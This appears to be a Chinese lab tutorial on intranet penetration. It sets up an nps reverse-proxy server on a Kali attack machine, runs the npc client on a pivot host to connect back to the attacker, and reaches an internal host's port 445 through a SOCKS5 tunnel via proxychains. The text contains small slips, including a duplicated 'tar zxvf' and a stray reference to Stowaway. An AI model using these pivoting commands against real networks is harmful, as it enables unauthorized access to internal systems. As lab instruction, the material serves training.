目录

一、nps原理

1、角色

2、工作流程

二、攻击机配置nps管理端

1、NAT配置

2、攻击机配置nps

(1)解压服务端

(2)配置nps

(3)安装nps

(4)启动nps

3、攻击机配置web管理端

(1)登录Web管理端

(2)增加客户端

(3)生成客户端命令

三、跳板机配置nps客户端

四、攻击机配置socks代理

1、nps配置socks

2、proxychains配置socks

五、攻击机telnet访问内网


本文实现使用nps反向代理进行内网服务器的永恒之蓝渗透实战,实验过程与拓扑如下所示。

  • 1. 在攻击机Kali中配置nps服务端
  • 2. 在跳板机target1中配置nps客户端
  • 3. 在攻击机中配置proxychains,使用telnet命令访问内网靶机target2

一、nps原理

nps 是一款轻量级、高性能的内网穿透代理工具,由 Go 语言开发,支持 TCP、UDP、HTTP、HTTPS 等多种协议,主要用于解决内网服务暴露到公网的问题,同时提供丰富的权限管理、流量控制等功能。

1、角色

nps采用C/S 架构(客户端 - 服务器架构),包含两个核心程序:

  • 服务端(nps)
    • 部署在具有公网 IP 的服务器(如 VPS、云服务器),负责接收客户端连接和外部用户的访问请求。
    • 监听管理端口(默认 8080,用于 Web 管理)和数据端口(默认 8024,用于客户端通信)。
  • 客户端(npc)
    • 部署在内网设备(如需要被访问的服务器、PC),负责主动连接服务端,并将内网服务端口映射到服务端。
    • 通过配置文件或命令行指定服务端地址、认证信息及映射规则

2、工作流程

  • 部署服务端:在公网服务器下载对应版本的 nps 程序,启动服务端并初始化配置(如设置管理面板账号密码)。
  • 配置服务端:通过 Web 管理面板(默认http://公网IP:8080)创建客户端(记录客户端 ID 和密钥),配置端口映射规则。
  • 部署客户端:在内网设备下载 npc 程序,通过命令行或配置文件指定服务端地址、客户端 ID 和密钥,启动客户端。
  • 访问测试:外部设备通过公网IP:映射端口访问内网服务(如http://公网IP:8000访问内网 Web 服务)。

二、攻击机配置nps管理端

本部分计划在攻击机启动管理端并监听端口7000等待内网节点连接。

1、NAT配置

由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为8024,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

2、攻击机配置nps

(1)解压服务端

在本地的Kali系统中上传nps的服务端linux_amd64_server.tar.gz,执行如下命令。

tar zxvf tar zxvf linux_amd64_server.tar.gz

(2)配置nps

其中nps的配置文件(conf目录下的nps.conf) 内容如下所示。

appname = nps
#Boot mode(dev|pro)
runmode = dev

#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
bridge_type=tcp
bridge_port=8024
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123

#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1

# log level LevelEmergency->0  LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#ip_limit=true

#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000

#web
web_host=0.0.0.0
web_username=admin
web_password=123
web_port = 9999
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false

#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#client disconnect timeout
disconnect_timeout=60

特别注意如下几项内容的配置,其中web页面管理的端口号设置为9999,密码为123。

#web
web_host=0.0.0.0
web_username=admin
web_password=123
web_port = 9999

详细的含义如下表所示,配置生效后,启动 nps 服务端,即可通过http://服务器IP:9999使用admin123登录 Web 管理面板,进行客户端和代理规则的配置管理。

配置项 含义与作用 详细说明
#web 配置段标识(注释) 用于区分配置文件中的不同模块,此处标识后续为 Web 管理面板的相关配置。
web_host=0.0.0.0 Web 服务绑定的 IP 地址 0.0.0.0表示监听服务器上所有可用的网络接口(公网 IP、内网 IP 等),外部可通过服务器的任意 IP 访问 Web 面板。若设为127.0.0.1,则仅允许本地访问。
web_username=admin Web 管理面板的登录用户名 登录 Web 界面时需输入的用户名,此处设置为admin(可自定义修改,如manager)。
web_password=123 Web 管理面板的登录密码 登录 Web 界面时需输入的密码,此处为123(建议实际使用时修改为复杂密码,如StrongP@ssw0rd,提升安全性)。
web_port = 9999 Web 管理面板的监听端口 外部通过该端口访问 Web 界面(访问地址为http://服务器ip地址:9999)。需确保该端口未被占用且已在防火墙中开放。

(3)安装nps

将 nps 服务端程序安装为系统服务,命令如下所示。

./nps install:完成服务注册,为持久化运行做准备;
  • ./nps install命令作用:将 nps 程序安装为系统服务,实现开机自启和系统级别的管理。

    • ./nps:当前目录下的 nps 服务端可执行程序(需先赋予执行权限:chmod +x nps)。
    • install:nps 的内置命令,用于将程序注册为系统服务(兼容 systemd、upstart 等服务管理机制)。
    • 执行效果:运行后,nps 会在系统服务目录中创建服务配置文件(如/etc/systemd/system/nps.service),并完成服务注册。此时 nps 可通过系统服务命令(如systemctl start nps)管理,而非每次手动运行./nps

    • 关键作用:实现 nps 的持久化运行,避免终端关闭后程序终止,且支持开机自动启动(默认配置下)。

(4)启动nps

./nps start:启动服务,使 nps 进入运行状态,开始接收客户端连接和处理代理请求
  • ./nps start命令作用:启动已安装的 nps 系统服务。

    • start:nps 的内置命令,用于启动服务(本质是通过系统服务管理器启动 nps 进程)。
    • 执行效果:成功启动后,nps 服务端开始运行,监听配置文件中指定的端口(如 Web 管理端口 9999、客户端通信端口 8024 等)。

3、攻击机配置web管理端

(1)登录Web管理端

使用用户名admin和密码123访问web管理网址http://127.0.0.1:9999/login/index,URL如下所示。

http://127.0.0.1:9999/login/index

登陆成功后效果如下所示,注意左侧边栏中有客户端client项目。

(2)增加客户端

点击“客户端client”,选择“增加”,操作步骤如下所示。

在唯一验证密钥即为nps.conf的`public_key`,主要参数如下所示。

参数 说明
客户端备注 自定义名称(如 “Mooyuan”,用于区分不同设备)。
唯一验证密钥 客户端连接服务端的认证密钥(可自动生成或手动设置,后续客户端配置需用到)。

这里备注选择mooyuan,唯一密钥处使用conf文件中的默认配置,点击add效果如下所示。

配置成功后如下所示,注意下图红框中的加号。

(3)生成客户端命令

点击上图中的加号,复制下图红色部分的命令行,如下所示。

此处由于做了映射 所以命令需要修改IP,将/npc -server=127.0.0.1:8024 -vkey=71meb3pfav10hea0 -type=tcp中的IP地址进行修改为攻击机的IP地址20.1.0.33,如下所示。

/npc -server=20.1.0.33:8024 -vkey=71meb3pfav10hea0 -type=tcp

三、跳板机配置nps客户端

在 Linux 系统的跳板机上配置nps代理端(client)的操作,目的是将跳板机作为中间节点,建立与目标管理端的反向连接,为内网渗透搭建代理通道,命令如下所示。

./npc -server=20.1.0.33:8024 -vkey=71meb3pfav10hea0 -type=tcp

运行结果如下所示。

此时查看攻击机中的状态,如下图红框所示状态变为online,说明已经成功连接。

四、攻击机配置socks代理

1、nps配置socks

首先在攻击机nps的web管理端查看当前客户端的id,如下图红框所示id为4。

同时注意上图左侧边栏红框中的socks选项,点击socks并新增socks配置,如下所示点击加号。

点击+号后弹框配置socks5代理,效果如下所示。

本文中的客户端id为4,服务端口选择7777,点击add,如下所示添加成功。

添加成功后效果如下所示,注意下图中的状态均为绿色。

2、proxychains配置socks

使用proxychains做socks5代理,配置/etc/proxychains4.conf文件,具体如下所示。

# 代理类型(socks5、http等)  代理IP   端口
socks5  0.0.0.0  7777
  • socks5:指定代理类型(Stowaway 默认提供 SOCKS5 代理,需与其匹配)。
  • 0.0.0.0:代理服务所在的 IP(本地代理填 127.0.0.1 或 0.0.0.0)

配置 proxychains 使用 0.0.0.0:7777 的核心目的是将本地工具的流量通过指定的代理端口(7777)转发,结合 Stowaway 工具建立的代理通道,实现对目标内网的间接访问,配置效果如下图所示。

五、攻击机telnet访问内网

使用proxychains telnet 172.16.100.33 445访问内网,如下所示渗透成功。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐